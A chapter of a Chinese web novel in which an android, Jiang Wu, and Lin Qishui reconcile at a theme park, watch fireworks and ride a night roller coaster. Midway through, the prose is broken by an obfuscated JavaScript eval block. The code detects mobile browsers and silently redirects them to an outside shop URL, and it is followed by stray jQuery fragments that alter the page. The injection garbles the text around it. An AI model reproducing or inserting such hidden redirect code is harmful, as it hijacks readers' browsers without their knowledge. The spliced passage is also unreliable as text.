远远地,姜无余光里闯入了熟悉的身影。
他赶紧拉了拉身侧的小水壶,眼神一亮迎上前去,双手拢上来人的肩头,喊她的名字。
“林其水!”
姜无从大胶囊里醒来之后,从来没有喊过林其水的全名。
这一下子,倒是让还在踌躇着怎么缓和矛盾的人懵住了。
“林其水,你别生我的气。我去你书房是因为,因为你睡着了,想抱你回床上好好休息。”
“我没有扫描过你的任何文件,知道‘陆离’这个名字,是因为你用手写在了桌面上的角落里。”
“我没有别的企图,也没有听不懂人话,我更不知道这个名字会让你这么在意。”
“我,我说清楚了吗?”
“对不起……”
他的语气从磕巴到急切,到坚定,再到话尾点点的怯意。
那么微弱又精准,都一五一十地落在林其水耳朵里。
“嗯,清楚了。”
林其水嘴边勾起笑容,她,一字一句,都听清楚了。
天色渐晚,日场的游客大多精疲力尽地往前走,有的小孩酣睡在父母的肩膀上,手里牵着的氢纸鸢渐渐垂落下来。
而这两人之间,像是盘古落斧,冰山融化出一道裂痕。
害怕会产生防备,防备会滋生怀疑。
因为害怕他,所以诋毁他。
所以冲他发脾气了。
想到这里,林其水不好意思地笑了笑。她原以为,和这尖端科技相处会有多么多么地诡异,实际上,却和与人相处也并没有那么大差别呀。
她心里捋顺过来,于是主动拉进关系,朝姜无背后给出“啪”的一巴掌,揶揄他。
“你怎么那么能装啊,在这一动不动卖惨,我就会回来找你吗?这招现在已经不管用了,你从哪部片子学的啊。”
姜无倒是语不惊人死不休:“我没有装,我一动不动是因为,要保存能量用来思考,分析问题。”
“那,分析一下午就说出个这?”林其水虽然很受用,但也不能惯着他。
姜无点点头,认真地回答:“嗯,我的结论是,说什么不重要,重要的是让你有这段时间冷静。”
“至于我说过要保护你的事……只要你还呆在我的视野里,就可以了。”
对面的人怔住了,她顺着他抬头的目光背过身,看到乐园人造山顶上,VR电玩馆,那面能看到所有玩家的大落地窗。
原来是因为这样,才选择坐在这个位置。
“切,我很安全,谁让你保护了啊?莫名其妙。”
林其水嘴上还在批评他的自大,心底却惊讶于他短短几个小时就学会了换位思考和利用她的情绪周期,甚至最后还补了一句额外的关心来扭转自己对他的情感态度,这家伙实在是厉害。
这样看来,唐斐的提议,也并没有听上去那么天马行空吧。
“……倒是你,越来越像个人了。”
“谢谢。”姜无灿烂一笑,凭空还生出一股俏皮感来。
随即还得寸进尺地开口问:“那可以不要当街遗弃我吗?”
“暂时不会吧。”
听到这么个回答,姜无的嘴角都快咧到耳根子了。
咋回事啊,这仿生人。
说难办吧,他确实挺难办,生活在现在这年头,属于是没壳的王八都能欺负他两下。
说容易满足吧,他真的是很容易满足,好像只要有一口吃的,有一个好脸色看就行了。
收起了心里的犄角,两人大摇大摆地在傍晚的风中散步,林其水捡起之前的好奇心,问姜无:“你今天在不周山的时候,感觉怎么样?”
“很奇妙,下坠的时候脑子里不受控制地出现了很多画面,有一些,和我现在的生活毫无关系的画面,竟然也被调动了起来。”
“挺好,那你已经进入第一阶段:一团乱麻了,哈哈。”
“还有第二阶段吗?”
“当然,虽然感受能带给你很多东西,但不能光感受,还得判断。”
虽说差不多消气了,但是今天一来二去的折腾,让林其水还是心里有些不尽兴,于是她计从心头起、恶向胆边生。
准备实施全面的“训练计划”。
她上蹿下跳地指挥姜无抓了锦鲤鱼、点了孔明灯、摸了兽鼓皮,还被喷泉滋一脸水之后,让他闭眼站在马路中间,迎面抱住第一个走过来的东西。
此时,转角一位牵着大金毛下班的乐园演员并不知道自己要遭遇什么。
林其水蹲在街边,看到演员小哥出现,大喊一声:“冲啊!”
姜无一把把人抱住,怀里的人不断“哇哦哇哦”,金毛四处乱窜,两男一狗乱七八糟地纠缠在一起。
大概过了十几秒,林其水才狂笑着冲上去,把人拎出来,给小哥道歉:“对不起对不起,他,他这里有点问题。”
林其水指的当然是脑子。
起初,小哥一头褐色卷发吓得翘起,嘴里嘟嘟囔囔地骂姜无是神经病。
不过一看到冲过来的她,笑意盈盈的眼睛弯成好看的弧度,面色就恢复得大度又平和。
最后两人一溜烟地离开金毛和小哥身边,逃之夭夭。
一边跑一边看哈哈大笑的林其水,姜无也跟着不明所以地咧开了憨憨的嘴角。
忽然,背后那座山头炸开一朵烟花。
底下的人们一片惊呼,两人也驻足,转头去看。
——是乐园里每天都会有的焰火表演,每次半个小时。
观众们就在这半个小时剧烈的燃烧里,抓住每一分每一秒,融入异世界的盛大庆典,见证身边人明媚的笑脸。
林其水呆呆地伫立了一会,眼神百转千回,又收回视线来。
这个眼神,恰好被姜无捕捉到了。
“你——喜欢焰火吗?”
“喜欢——但是如果不是为我放的,再喜欢也不看。”
姜无点点头。
他其实不理解林其水这些奇奇怪怪的信条,只是把它们照单全收。
收到大脑的深处,锁上,锁到自己最深、最隐秘的数据路径里。
“诶,说起来,你现在懂了吗?什么样的触感、什么东西,感受是好的,什么感受是不好的。”
“或者,也不说能分好坏吧,有的是你不希望有第二次的。那就可以去避开它,就像我避开爆炸声一样。”
姜无点点头,不好意思地挠挠头。
“呃,我不喜欢鲤鱼……的皮肤。”
“哈哈哈哈哈哈……咳咳,喜恶也是很重要的啦,它会让某一个东西和别的都不同。或者你用更积极的一个词吧,叫偏爱。”
“偏爱?”
“对。现在你接触的东西还是太少。你再多活几天,就会找到一些偏爱了。”
姜无没接话,在思考。
他也不知道自己身体那个加密的区域里,算不算存放着偏爱——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815074|211022||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
某个东西不同于其他。
是这样吗。
了一会儿,不知怎么,他忽然拧了拧脖子,抬眼看了看四周,伸出手臂指着漆黑的夜色中,两个大山头之间的轨道,开口问林其水。
“我们,可以去坐那个吗?”
“嗯?长空烛龙啊,没问题啊。不过坐夜场的烛龙,只能看见底下的花灯和屋檐,没有白天景色好哦。”
是的,林其水本人,是一个在腾空之后,还可以有闲心欣赏景色,并且看清楚底下有几家甜品店的心率杀手。
而等到林其水转头回来想要确认他的想法,姜无却像没听到一样,手臂仍然一动不动地指着轨道,微微张着嘴,不知道在想什么。
林其水看他好不容易有喜欢的项目,别被自己泼了冷水,于是赶紧改了口风,带着他一路小跑去排队进场。
别给孩子刚燃起来的小爱好就扑灭了。
这个时候来排队的,已经没有多少人了。
工作人员带着多少有些疲倦的脸,麻木地弯腰给两人开栅栏门。
走上车的时候,林其水中气十足地向他们道谢,还递了一张随身带着的棉湿巾给他们擦脸。
林其水和姜无在前排落座,烛龙发出一声长啸,就全速往前冲。
虽说没几个人,倒是也从背后传来了零星的惊呼声。
两人缓缓滑上起始路段,一个平缓的上坡。然后第一道加速俯冲下去,紧接着来不及反应,便是标志性的三连环,尖叫声此起彼伏地爆发出来,姜无和林其水也跟着快乐地大喊大叫。
马上,开过一段小小的休憩和调整坡道,就要冲上全程最高的环顶。
那顶点足足离地四十二米,而且由于轨道设计,到高处烛龙会悬停,每每到这里是人们倒挂着,想喊都喊不出来,又害怕掉下去,最让人欲罢不能的位置。
“唰——”一个加冲上坡,林其水紧紧抓住身旁的扶手,耳边全是机械碰撞轰隆隆的声响,身后大家都已经喊不出来了,她准备放松倒数,迎接这个最高点的到来。
“3……2……”,“1”还没有数出来。
天空中“嘭”地炸开无数朵金色的焰火。
空气剧烈地燃烧,被升腾的火药烫得噼啪作响。
扩散之后每一朵甸甸的光团,接着从底部轻盈地绽放,伴着第二批焰火的上升,细碎的星火在空气中下降、湮灭,旁观彼此燃烧的热烈。
这一切都以光速映入林其水的瞳孔,把她所有的注意力都占据了。
倒悬的天空,铁树银花,亮如白昼。
光、热和风的质感让她的眼中几乎涌出泪水。
而姜无呢,他不关心焰火,只看向身边的人。
那接近静止的一刻,他几乎用□□触到了感官的边界,世界在缓慢地过片,眼前的人被晕染出光轮。
林其水没有回头看,任由自己欣赏眼前的美景。
在激动之余,她也感觉心下释然。
这几天以来,生活的变动和调整太大了,一向以适应能力强自居的她,都开始体会失控的感觉。
就如此刻的身体悬空一样。
她和自己的困惑之间、他们两人之间、他们和外界之间,似乎总有纠葛总有时差,蛰伏着矛盾、难以消化。
但这一秒钟,她心里所有的不安和顾虑都暂时被加速度甩出一个身位,此刻的夜空就像一个出其不意的神话,注脚上写着:
及时行乐吧,别管其他。